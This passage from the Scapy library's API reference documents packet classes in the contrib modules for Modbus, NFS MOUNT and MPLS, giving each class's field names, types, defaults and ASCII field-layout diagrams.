+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   BYTECOUNT   |          REGISTERVAL          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

        Fig. ModbusPDU17ReadWriteMultipleRegistersResponse        


ModbusPDU17ReadWriteMultipleRegistersResponse fields






	funcCode

	XByteField

	23



	byteCount

	BitFieldLenField  (8 bits)

	None



	registerVal

	FieldListField

	[0]















	
class scapy.contrib.modbus.ModbusPDU18ReadFIFOQueueError(_pkt, /, *, funcCode=152, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L557-L560]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. ModbusPDU18ReadFIFOQueueError                


ModbusPDU18ReadFIFOQueueError fields






	funcCode

	XByteField

	152



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU18ReadFIFOQueueRequest(_pkt, /, *, funcCode=24, FIFOPointerAddr=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L540-L543]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |        FIFOPOINTERADDR        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. ModbusPDU18ReadFIFOQueueRequest               


ModbusPDU18ReadFIFOQueueRequest fields






	funcCode

	XByteField

	24



	FIFOPointerAddr

	XShortField

	0















	
class scapy.contrib.modbus.ModbusPDU18ReadFIFOQueueResponse(_pkt, /, *, funcCode=24, byteCount=None, FIFOCount=None, FIFOVal=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L546-L554]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |           BYTECOUNT           |   FIFOCOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            FIFOVAL            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. ModbusPDU18ReadFIFOQueueResponse               


ModbusPDU18ReadFIFOQueueResponse fields






	funcCode

	XByteField

	24



	byteCount

	BitFieldLenField  (16 bits)

	None



	FIFOCount

	BitFieldLenField  (16 bits)

	None



	FIFOVal

	FieldListField

	[]















	
class scapy.contrib.modbus.ModbusPDU2B0EReadDeviceIdentificationError(_pkt, /, *, funcCode=171, exceptCode=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L633-L636]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |   EXCEPTCODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. ModbusPDU2B0EReadDeviceIdentificationError          


ModbusPDU2B0EReadDeviceIdentificationError fields






	funcCode

	XByteField

	171



	exceptCode

	ByteEnumField

	1















	
class scapy.contrib.modbus.ModbusPDU2B0EReadDeviceIdentificationRequest(_pkt, /, *, funcCode=43, MEIType=14, readCode=1, objectId=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L607-L612]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |    MEITYPE    |    READCODE   |    OBJECTID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

        Fig. ModbusPDU2B0EReadDeviceIdentificationRequest         


ModbusPDU2B0EReadDeviceIdentificationRequest fields






	funcCode

	XByteField

	43



	MEIType

	XByteField

	14



	readCode

	ByteEnumField

	1



	objectId

	ByteEnumField

	0















	
class scapy.contrib.modbus.ModbusPDU2B0EReadDeviceIdentificationResponse(_pkt, /, *, funcCode=43, MEIType=14, readCode=4, conformityLevel=1, more=0, nextObjId=0, objCount=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L615-L630]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |    MEITYPE    |    READCODE   |CONFORMITYLEVEL|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MORE     |   NEXTOBJID   |    OBJCOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

        Fig. ModbusPDU2B0EReadDeviceIdentificationResponse        


ModbusPDU2B0EReadDeviceIdentificationResponse fields






	funcCode

	XByteField

	43



	MEIType

	XByteField

	14



	readCode

	ByteEnumField

	4



	conformityLevel

	ByteEnumField

	1



	more

	ByteEnumField

	0



	nextObjId

	ByteEnumField

	0



	objCount

	ByteField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L626-L630]

	








	
class scapy.contrib.modbus.ModbusPDUReservedFunctionCodeError(_pkt, /, *, funcCode=0, mb_payload=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L703-L710]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |                   MB PAYLOAD                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
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|                                                               |
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|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. ModbusPDUReservedFunctionCodeError              


ModbusPDUReservedFunctionCodeError fields






	funcCode

	ByteEnumField

	0



	mb_payload

	StrFixedLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L709-L710]

	








	
class scapy.contrib.modbus.ModbusPDUReservedFunctionCodeRequest(_pkt, /, *, funcCode=0, mb_payload=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L683-L690]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |                   MB PAYLOAD                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
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+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDUReservedFunctionCodeRequest             


ModbusPDUReservedFunctionCodeRequest fields






	funcCode

	ByteEnumField

	0



	mb_payload

	StrFixedLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L689-L690]

	








	
class scapy.contrib.modbus.ModbusPDUReservedFunctionCodeResponse(_pkt, /, *, funcCode=0, mb_payload=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L693-L700]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |                   MB PAYLOAD                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
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|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDUReservedFunctionCodeResponse            


ModbusPDUReservedFunctionCodeResponse fields






	funcCode

	ByteEnumField

	0



	mb_payload

	StrFixedLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L699-L700]

	








	
class scapy.contrib.modbus.ModbusPDUUserDefinedFunctionCodeError(_pkt, /, *, funcCode=0, mb_payload=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L761-L770]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |                   MB PAYLOAD                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
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|                                                               |
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|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. ModbusPDUUserDefinedFunctionCodeError            


ModbusPDUUserDefinedFunctionCodeError fields






	funcCode

	ModbusByteEnumField

	0



	mb_payload

	StrFixedLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L769-L770]

	








	
class scapy.contrib.modbus.ModbusPDUUserDefinedFunctionCodeRequest(_pkt, /, *, funcCode=0, mb_payload=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L737-L746]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |                   MB PAYLOAD                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. ModbusPDUUserDefinedFunctionCodeRequest           


ModbusPDUUserDefinedFunctionCodeRequest fields






	funcCode

	ModbusByteEnumField

	0



	mb_payload

	StrFixedLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L745-L746]

	








	
class scapy.contrib.modbus.ModbusPDUUserDefinedFunctionCodeResponse(_pkt, /, *, funcCode=0, mb_payload=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L749-L758]

	Bases: _ModbusPDUNoPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    FUNCCODE   |                   MB PAYLOAD                  |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
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+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. ModbusPDUUserDefinedFunctionCodeResponse           


ModbusPDUUserDefinedFunctionCodeResponse fields






	funcCode

	ModbusByteEnumField

	0



	mb_payload

	StrFixedLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L757-L758]

	








	
class scapy.contrib.modbus.ModbusReadFileSubRequest(_pkt, /, *, refType=6, fileNumber=1, recordNumber=0, recordLength=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L355-L363]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    REFTYPE    |           FILENUMBER          |  RECORDNUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RECORDLENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ModbusReadFileSubRequest                   


ModbusReadFileSubRequest fields






	refType

	ByteField

	6



	fileNumber

	ShortField

	1



	recordNumber

	ShortField

	0



	recordLength

	ShortField

	1











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L362-L363]

	








	
class scapy.contrib.modbus.ModbusReadFileSubResponse(_pkt, /, *, respLength=None, refType=6, recData=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L384-L395]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESPLENGTH  |    REFTYPE    |            RECDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. ModbusReadFileSubResponse                  


ModbusReadFileSubResponse fields






	respLength

	BitFieldLenField  (8 bits)

	None



	refType

	ByteField

	6



	recData

	FieldListField

	[0]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L394-L395]

	








	
class scapy.contrib.modbus.ModbusWriteFileSubRequest(_pkt, /, *, refType=6, fileNumber=1, recordNumber=0, recordLength=None, recordData=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L423-L439]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    REFTYPE    |           FILENUMBER          |  RECORDNUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RECORDLENGTH         |   RECORDDATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                  Fig. ModbusWriteFileSubRequest                  


ModbusWriteFileSubRequest fields






	refType

	ByteField

	6



	fileNumber

	ShortField

	1



	recordNumber

	ShortField

	0



	recordLength

	BitFieldLenField  (16 bits)

	None



	recordData

	FieldListField

	[0]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L437-L439]

	








	
class scapy.contrib.modbus.ModbusWriteFileSubResponse(_pkt, /, *, refType=6, fileNumber=1, recordNumber=0, recordLength=None, recordData=[0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L460-L465]

	Bases: ModbusWriteFileSubRequest


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    REFTYPE    |           FILENUMBER          |  RECORDNUMBER |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          RECORDLENGTH         |   RECORDDATA  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                 Fig. ModbusWriteFileSubResponse                  


ModbusWriteFileSubResponse fields






	refType

	ByteField

	6



	fileNumber

	ShortField

	1



	recordNumber

	ShortField

	0



	recordLength

	BitFieldLenField  (16 bits)

	None



	recordData

	FieldListField

	[0]











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/modbus.py#L463-L465]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.mount


	
class scapy.contrib.mount.MOUNT_Call(_pkt, /, *, path=<Path  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L65-L69]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PATH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MOUNT_Call                          


MOUNT_Call fields






	path

	PacketField

	<Path  |>















	
class scapy.contrib.mount.MOUNT_Reply(_pkt, /, *, status=0, filehandle=<File_Object  |>, flavors=0, flavor=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L72-L93]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             STATUS                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           FILEHANDLE          |            FLAVORS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FLAVOR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MOUNT_Reply                         


MOUNT_Reply fields






	status

	IntEnumField

	0



	filehandle

	PacketField (Cond)

	<File_Object  |>



	flavors

	IntField (Cond)

	0



	flavor

	FieldListField (Cond)

	[]











	
get_filehandle()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L90-L93]

	








	
class scapy.contrib.mount.NULL_Call(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L50-L52]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.mount.NULL_Reply(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L55-L57]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	








	
class scapy.contrib.mount.Path(_pkt, /, *, length=0, path=b'', fill=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L29-L47]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L37-L38]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             LENGTH                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PATH             |              FILL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Path                             


Path fields






	length

	IntField

	0



	path

	StrLenField

	b''



	fill

	StrLenField

	b''











	
set(path, length=None, fill=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L40-L47]

	








	
class scapy.contrib.mount.UNMOUNT_Call(_pkt, /, *, path=<Path  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L101-L105]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              PATH             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. UNMOUNT_Call                         


UNMOUNT_Call fields






	path

	PacketField

	<Path  |>















	
class scapy.contrib.mount.UNMOUNT_Reply(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mount.py#L108-L110]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.mpls


	
class scapy.contrib.mpls.EoMCW(_pkt, /, *, zero=0, reserved=0, seq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mpls.py#L29-L38]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ZERO |        RESERVED       |              SEQ              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. EoMCW                            


EoMCW fields






	zero

	BitField  (4 bits)

	0



	reserved

	BitField  (12 bits)

	0



	seq

	ShortField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mpls.py#L35-L38]

	




	
payload_guess

	Possible sublayers:
Ether










	
class scapy.contrib.mpls.ICMPExtension_MPLS(_pkt, /, *, len=None, classnum=1, classtype=1, stack=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mpls.py#L69-L77]

	Bases: ICMPExtension_Object


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |    CLASSNUM   |   CLASSTYPE   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STACK             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. ICMPExtension_MPLS                      


ICMPExtension_MPLS fields






	len

	ShortField

	None



	classnum

	ByteEnumField

	1



	classtype

	ByteField

	1



	stack

	PacketListField

	[]















	
class scapy.contrib.mpls.MPLS(_pkt, /, *, label=3, cos=0, s=1, ttl=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mpls.py#L41-L64]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 LABEL                 | COS |S|      TTL      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. MPLS                             


MPLS fields






	label

	BitField  (20 bits)

	3



	cos

	BitField  (3 bits)

	0



	s

	BitField  (1 bit)

	1



	ttl

	ByteField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/mpls.py#L48-L64]

	




	
payload_guess

